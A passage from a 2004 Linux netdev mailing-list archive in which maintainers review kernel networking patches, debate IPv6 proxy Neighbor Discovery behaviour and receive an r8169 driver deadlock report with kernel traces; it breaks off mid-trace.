00:52:37 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26662; Thu, 15 Jan 2004 00:45:25 -0800 Date: Thu, 15 Jan 2004 00:45:24 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, acme@conectiva.com.br Subject: Re: [PATCH] decnet initialization race Message-Id: <20040115004524.4aec963a.davem@redhat.com> In-Reply-To: <20040114164045.06dd85f3.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164045.06dd85f3.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2471 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 368 Lines: 10 On Wed, 14 Jan 2004 16:40:45 -0800 Stephen Hemminger wrote: > Decnet exposes itself to proc and packets before it has finished initializing. > This was always a race, but the notifier replay might expose it worse. Applied. Although, Arnaldo is not the listed DECNET maintainer last time I checked, or is he being CC:'d for another reason? :-) From davem@pizda.ninka.net Thu Jan 15 00:53:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:53:57 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8rg6H015397 for ; Thu, 15 Jan 2004 00:53:44 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26674; Thu, 15 Jan 2004 00:46:31 -0800 Date: Thu, 15 Jan 2004 00:46:31 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: mpm@selenic.com, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040115004631.2839c8b8.davem@redhat.com> In-Reply-To: <20040114162411.08322247.shemminger@osdl.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> <20040114121155.7dabd70e.davem@redhat.com> <20040114162411.08322247.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2472 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 431 Lines: 12 On Wed, 14 Jan 2004 16:24:11 -0800 Stephen Hemminger wrote: > This should make it match the existing semantics more exactly. > It will skip the false positive matchs from sscanf trailing chars > or blanks. Ok, but... I thought we had decided to move towards the hashing based patch you said you had so we can kill two birds with one stone? At least, that is the conclusion I thought we had arrived at. :-) From davem@pizda.ninka.net Thu Jan 15 00:55:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:56:00 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8th6H015766 for ; Thu, 15 Jan 2004 00:55:45 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26698; Thu, 15 Jan 2004 00:48:33 -0800 Date: Thu, 15 Jan 2004 00:48:33 -0800 From: "David S. Miller" To: Shirley Ma Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable Message-Id: <20040115004833.41be5b58.davem@redhat.com> In-Reply-To: <200401141621.26317.mashirle@us.ibm.com> References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> <200401141621.26317.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2473 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 292 Lines: 9 On Wed, 14 Jan 2004 16:21:26 -0800 Shirley Ma wrote: > This patch is against 2.6.1 kernel. Can you explain what this patch is doing, and specifically what bug it is fixing? I feel dense as I can't figure it out just by studying your patch and the code it touches :-) From davem@pizda.ninka.net Thu Jan 15 00:56:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 00:57:02 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F8ug6H016102 for ; Thu, 15 Jan 2004 00:56:44 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26725; Thu, 15 Jan 2004 00:49:29 -0800 Date: Thu, 15 Jan 2004 00:49:29 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: jt@hpl.hp.com, jt@bougret.hpl.hp.com, jgarzik@pobox.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-Id: <20040115004929.4b76ede2.davem@redhat.com> In-Reply-To: <20040114161324.61b7198f.shemminger@osdl.org> References: <20040112234332.GA1785@bougret.hpl.hp.com> <20040113142204.0b41403b.shemminger@osdl.org> <20040113162112.509edb71.davem@redhat.com> <20040114161324.61b7198f.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2474 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 201 Lines: 7 On Wed, 14 Jan 2004 16:13:24 -0800 Stephen Hemminger wrote: > Bug: dev_alloc_name returns the number of the slot used, so comparison needs > to be < 0. Applied, thanks Stephen. From davem@pizda.ninka.net Thu Jan 15 01:00:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:00:17 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F9056H016582 for ; Thu, 15 Jan 2004 01:00:05 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26757; Thu, 15 Jan 2004 00:52:52 -0800 Date: Thu, 15 Jan 2004 00:52:52 -0800 From: "David S. Miller" To: Shirley Ma Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification Message-Id: <20040115005252.6e6f1d81.davem@redhat.com> In-Reply-To: <200401141552.51424.mashirle@us.ibm.com> References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> <200401141552.51424.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2475 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 501 Lines: 16 On Wed, 14 Jan 2004 15:52:51 -0800 Shirley Ma wrote: > Once receiving a router advertisement message, > a netlink notification event will be created. > > This patch is against linux-2.6.1. This patch looks fine, except I can't see how RTM_GETRA is used anywhere. Even if it will be used by some future change, please remove it until that later change is made. So please either show where RTM_GETRA is used or regenerate the patch with that macro definition removed. Thanks. From davem@pizda.ninka.net Thu Jan 15 01:02:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:02:25 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F92C6H016973 for ; Thu, 15 Jan 2004 01:02:12 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26784; Thu, 15 Jan 2004 00:55:03 -0800 Date: Thu, 15 Jan 2004 00:55:03 -0800 From: "David S. Miller" To: Shirley Ma Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [PATCH] New Patch Implementation for IPv6 MIB:ipv6InterfaceTable Message-Id: <20040115005503.63f4cbc7.davem@redhat.com> In-Reply-To: <200401141448.55531.mashirle@us.ibm.com> References: <200310141032.23998.mashirle@us.ibm.com> <200310201600.10016.mashirle@us.ibm.com> <20031020210433.27e25240.davem@redhat.com> <200401141448.55531.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2476 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 307 Lines: 11 On Wed, 14 Jan 2004 14:48:55 -0800 Shirley Ma wrote: > > It looks fine but I cannot merge it at this time. Linus wants > > only critical bug fixes for nowin 2.6.x > > > > Maybe in 2.6.1, 2.6.2 or later we can merge this in. > > This patch is against 2.6.1 kernel. Applied, thanks. From yoshfuji@linux-ipv6.org Thu Jan 15 01:02:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:03:03 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F92n6H017109 for ; Thu, 15 Jan 2004 01:02:50 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 361A533CA5; Thu, 15 Jan 2004 18:03:16 +0900 (JST) Date: Thu, 15 Jan 2004 18:03:15 +0900 (JST) Message-Id: <20040115.180315.31012058.yoshfuji@linux-ipv6.org> To: mashirle@us.ibm.com Cc: davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200401141622.09299.mashirle@us.ibm.com> References: <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> <200401141622.09299.mashirle@us.ibm.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2477 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 217 Lines: 7 In article <200401141622.09299.mashirle@us.ibm.com> (at Wed, 14 Jan 2004 16:22:09 -0800), Shirley Ma says: > This patch is agaist 2.6.1 kernel. Wrong. Do not change user interface. --yoshfuji From yoshfuji@linux-ipv6.org Thu Jan 15 01:03:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:03:58 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F93i6H017471 for ; Thu, 15 Jan 2004 01:03:45 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id ED48833CA5; Thu, 15 Jan 2004 18:04:11 +0900 (JST) Date: Thu, 15 Jan 2004 18:04:11 +0900 (JST) Message-Id: <20040115.180411.605450205.yoshfuji@linux-ipv6.org> To: mashirle@us.ibm.com Cc: davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IPv6 MIB:ipv6inetNetToMediaTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <200401141621.26317.mashirle@us.ibm.com> References: <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> <200401141621.26317.mashirle@us.ibm.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2478 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 213 Lines: 7 In article <200401141621.26317.mashirle@us.ibm.com> (at Wed, 14 Jan 2004 16:21:26 -0800), Shirley Ma says: > This patch is against 2.6.1 kernel. Wrong. Do not change interface. --yoshfuji From davem@pizda.ninka.net Thu Jan 15 01:04:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:04:52 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F94d6H017946 for ; Thu, 15 Jan 2004 01:04:39 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26810; Thu, 15 Jan 2004 00:57:29 -0800 Date: Thu, 15 Jan 2004 00:57:29 -0800 From: "David S. Miller" To: Shirley Ma Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c Message-Id: <20040115005729.381c9ee0.davem@redhat.com> In-Reply-To: <200401141450.43806.mashirle@us.ibm.com> References: <200312021240.PAA01536@yakov.inr.ac.ru> <200312051214.48076.mashirle@us.ibm.com> <20031205123133.3743fe39.davem@redhat.com> <200401141450.43806.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2479 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 665 Lines: 18 On Wed, 14 Jan 2004 14:52:51 -0800 Shirley Ma wrote: > > "sizeof(unsigned long)" evaluates to 8 on 64-bit systems, > > yet you assume it always evaluated to 4 as on 32-bit systems. > > > > Maybe it would be wiser to explicitly use 'u32' and 'u64' for > > the types of the snmp counters? > > > > This has always been a sore area. > > This is the new patch against 2.6.1 kernel. I am personally fine with this patch, but I do believe some folks might find it controversial (for whatever reason) to move all of these stats over to 64-bits. So I'm going to let this sit for another day or two so people can voice any objections they may have. From davem@pizda.ninka.net Thu Jan 15 01:05:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:06:02 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F95n6H018427 for ; Thu, 15 Jan 2004 01:05:50 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA26837; Thu, 15 Jan 2004 00:58:40 -0800 Date: Thu, 15 Jan 2004 00:58:39 -0800 From: "David S. Miller" To: Shirley Ma Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] IPv6 MIB:ipv6Prefix netlink notification Message-Id: <20040115005839.1a73d984.davem@redhat.com> In-Reply-To: <200401141454.27589.mashirle@us.ibm.com> References: <200311191621.38087.mashirle@us.ibm.com> <200312051351.47962.mashirle@us.ibm.com> <20031205145700.120e9e68.davem@redhat.com> <200401141454.27589.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2480 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 223 Lines: 9 On Wed, 14 Jan 2004 14:54:27 -0800 Shirley Ma wrote: > > Let's queue this up for 2.6.1, please resend it after 2.6.0 is > > released. > > This patch is agaist 2.6.1 kernel. Applied, thanks Shirley. From yoshfuji@linux-ipv6.org Thu Jan 15 01:10:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:10:51 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F9AU6H018812 for ; Thu, 15 Jan 2004 01:10:30 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7CB3033CA5; Thu, 15 Jan 2004 18:10:57 +0900 (JST) Date: Thu, 15 Jan 2004 18:10:57 +0900 (JST) Message-Id: <20040115.181057.171336180.yoshfuji@linux-ipv6.org> To: mashirle@us.ibm.com Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, xma@us.ibm.com, davem@redhat.com Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040115005252.6e6f1d81.davem@redhat.com> References: <20031205145700.120e9e68.davem@redhat.com> <200401141552.51424.mashirle@us.ibm.com> <20040115005252.6e6f1d81.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on XEmacs 21.4.6 (Common Lisp) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2481 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 582 Lines: 15 In article <20040115005252.6e6f1d81.davem@redhat.com> (at Thu, 15 Jan 2004 00:52:52 -0800), "David S. Miller" says: > > Once receiving a router advertisement message, > > a netlink notification event will be created. > > > > This patch is against linux-2.6.1. > > This patch looks fine, except I can't see how RTM_GETRA is used anywhere. > Even if it will be used by some future change, please remove it until that > later change is made. Hmm, why do we need this? What kind of usage? I think you can do this in user space by opening raw socket. --yoshfuji From pekkas@netcore.fi Thu Jan 15 01:29:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:29:57 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F9Th6H019335 for ; Thu, 15 Jan 2004 01:29:43 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0F9RQi12606; Thu, 15 Jan 2004 11:27:26 +0200 Date: Thu, 15 Jan 2004 11:27:26 +0200 (EET) From: Pekka Savola To: Ville Nuorvala cc: yoshfuji@linux-ipv6.org, , , Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2482 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 4896 Lines: 116 On Thu, 15 Jan 2004, Ville Nuorvala wrote: > On Thu, 15 Jan 2004, Pekka Savola wrote: > > > > The current proxy ND implementation in the kernel only captures multicast > > > NS messages. A unicast NS (i.e. a NUD probe) won't be captured by the > > > proxy, in stead it tries to _route_ it to the proxied node. > > > > Practically all ND packets should be proxied, I think. > > Currently the specification (RFC 2461) only talks about NS packets, but I > agree. It seems logical for a proxy to handle all ND messages. > > Whats the status of RFC 2461bis? Can we still ask for further > clarifications about the proxy behavior? It's still at the starting phase -- now would be an excellent time to bring this up. > My reasoning here is that Thaler's proxy passes IPv6 packets (except ND > etc) unchanged from one physical link to another, therefore it isn't a > router, but closer to a bridge. Router only modifies the TTL. Bridges do not respond to any Neighbor Discovery (RFC2461) packets.. so it's not as clear as that. > The point is just that. We can't use the *routing* functionality to pass > the packet from one physical segment to another. Yep. > As I mentioned routing link-locals isn't possible, neither is routing of > multicast packets (at this moment), a router just forwards a packet to one > interface, not all of them, and last but not least, a router decreases the > hop limit of a forwarded packet. > > This means we need some other mechanism than *routing* to achieve the > functionality in Thaler's draft. Totally agree here. > > ND proxy doesn't "route" between physical segments, because by > > definition, all the physical segments share a subnet, and there are no > > specifics. On the other hand, it duplicates all ICMPv6 ND packets > > across the links (unless there is a mapping in a cache), and expands > > the IP layer subnet (even, the link-local address domain!) to span > > multiple links. > > Exactly! Thaler's proxy doesn't route traffic, the MIPv6 proxy does. They > are not the same thing. My change allows a router (MIPv6 HA) to > correctly signal that it can't *route* a link-local packet. The change may allow that signalling, but breaks the correct behaviour in general. Note that MIPv6 spec just states that link-locals MUST NOT be _tunneled_ to the mobile node, and site-locals SHOULD NOT. It's still fine to proxy for them (but discard them). With L bit set, the HA is just performing "DAD protection" for the address, with the intent to discard the traffic. Without L bit set, the HA is not supposed to do even that. As a matter of fact, it doesn't know the link-local address of the MN in the first place. So, it seems to be that the MIPv6 proxy should get the IP address to proxy as an argument (put in nd_tbl or whatever), and it would just proxy those addresses, and no change (like the one you proposed, disallowing link-local proxying) would be needed. So, with MIPv6 L=0 link locals would not be entered in nd_tbl, so they would not be proxied; with MIPv6 L=1, link-locals would be entered in nd_tbl, but the packets would get discarded before they end up being tunneled to the MN. Right? > There are IMO two different uses of proxy ND, which are quite different > from each other: > > We have the Thaler proxy, with its "bridge" like behavior. It acts as a > proxy for *any* address on the subnet (if needed), and passes IP packets > between the interfaces unchanged. > > Then we have the router (for example HA) acting as a proxy for a > *particular* node (for example MN) *routing* packets to it. > > > Proxying link-locals break fully ND proxying. I grant you that it may > > not work out of the box at the moment (because it hasn't been > > implemented! :-) but we shouldn't be making steps in the wrong > > direction here.. :-) > > AFAICS a Thaler proxy would forward the packet using some other path than > ip6_forward(), therefore it wouldn't trigger the ICMP error message. It can give back ICMP error messages, if necessary. I don't know which path a Thaler proxy would use though. > I'm not sure how proxy ARP is done in Linux, but I don't know if the > current proxy ND code is of any use for Thaler proxy. It's a start, I think :-) > The proxied addresses are explicitly stored in the nd_tbl and the proxy > relies on routing to get the packets delivered to the proxied node. This > is exactly what a HA should do, but it doesn't fit well into the Thaler > model. Yep, because there is no more specific route -- in the Thaler case, "querying whether the node exists on other physical links" gives the more specific information ("route" of a kind). It's not really that different in my eyes.. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From harisri@bigpond.com Thu Jan 15 01:38:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 01:38:26 -0800 (PST) Received: from gizmo09ps.bigpond.com (gizmo09ps.bigpond.com [144.140.71.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0F9c16H019752 for ; Thu, 15 Jan 2004 01:38:06 -0800 Received: (qmail 6243 invoked from network); 15 Jan 2004 09:34:38 -0000 Received: from unknown (HELO psmam10.bigpond.com) (144.135.25.97) by gizmo09ps.bigpond.com with SMTP; 15 Jan 2004 09:34:38 -0000 Received: from bzpp-p-144-138-166-177.prem.tmns.net.au ([144.138.166.177]) by psmam10.bigpond.com(MAM REL_3_4_2 210/29100477) with SMTP id 29100477; Thu, 15 Jan 2004 19:37:53 +1000 From: Srihari Vijayaraghavan To: netdev@oss.sgi.com Subject: [PROBLEM] r8169 deadlocks Date: Thu, 15 Jan 2004 20:38:59 +1100 User-Agent: KMail/1.5.4 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401152039.00182.harisri@bigpond.com> X-archive-position: 2483 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: harisri@bigpond.com Precedence: bulk X-list: netdev Content-Length: 14606 Lines: 281 Hello, Hardware: Athlon 64 3200+ Gigabyte K8VNXP VIA K8T800 00:13.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8169 (rev 10) Subsystem: Giga-byte Technology: Unknown device e000 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- [disabled] [size=64K] Capabilities: [dc] Power Management version 2 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=375mA PME(D0-,D1+,D2+,D3hot+,D3cold+) Status: D0 PME-Enable- DSel=0 DScale=0 PME- Software: SuSE 9 for AMD64 2.6.1-mm3 kernel Consider desktop as the computer with the RealTek r8169 card and laptop from where I perform these steps: 1. ssh desktop 2. while true; do ls -la /; done 3. In few seconds the desktop computer hangs (And of course at the laptop computer the ssh session hangs) Here is the sysrq-p from the desktop computer (captured using serial-console): Pid: 1963, comm: ls Not tainted RIP: 0010:[] {:r8169:rtl8169_tx_interrupt+73} RSP: 0000:ffffffff80374dc8 EFLAGS: 00000286 RAX: 0000000000000420 RBX: ffffffff80374d18 RCX: 0000010000399000 RDX: ffffffff80370e80 RSI: 000000003525d05e RDI: 0000000080391bf0 RBP: ffffffff801100d9 R08: 0000000000000007 R09: 0000000000000000 R10: 0000002a95587de0 R11: 0000000000000003 R12: 0000000000000042 R13: 0000000000000001 R14: 00000000000000bc R15: 000001003f7d1340 FS: 00000000005144a0(005b) GS:ffffffff80370e80(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000002a957876d0 CR3: 0000000000101000 CR4: 00000000000006a0 Call Trace: {:r8169:rtl8169_interrupt+120} {handle_IRQ_event+47} {do_IRQ+147} {ret_from_intr+0} {retint_careful+13} And here is the sysrq-t: sibling task PC pid father child younger older init S ffffffff8014efa7 1 0 3 (NOTLB) 000001003ff8dd88 0000000000000002 ffffffff80311600 00000000000001f7 ffffffff802c67e0 0000000000000000 000001003ff8b3e0 ffffffff802bb520 00000000802c67e0 000000d000000010 Call Trace:{schedule_timeout+158} {process_timeout+0} {pipe_poll+42} {do_select+778} {__pollwait+0} {sys_select+992} {system_call+124} events/0 R 000001003a4a1d48 3 1 4 5 (L-TLB) 000001000243de88 0000000000000046 ffffffff80311600 ffffffff80140870 000000000000078a 000000693a4a1cd8 000001003ff8a2c0 000001003fd0d1e0 000001003ffecd70 000001000243ded8 Call Trace:{__call_usermodehelper+0} {worker_thread+300} {default_wake_function+0} {default_wake_function+0} {worker_thread+0} {worker_thread+0} {kthread+54} {child_rip+8} {kthread+0} {child_rip+0} kblockd/0 S 0000000000000013 4 3 8 (L-TLB) 000001003fd3be88 0000000000000046 ffffffff80311600 0000000000000006 0000000000000001 000000768020bc37 000001003ff89a30 000001003fd0d1e0 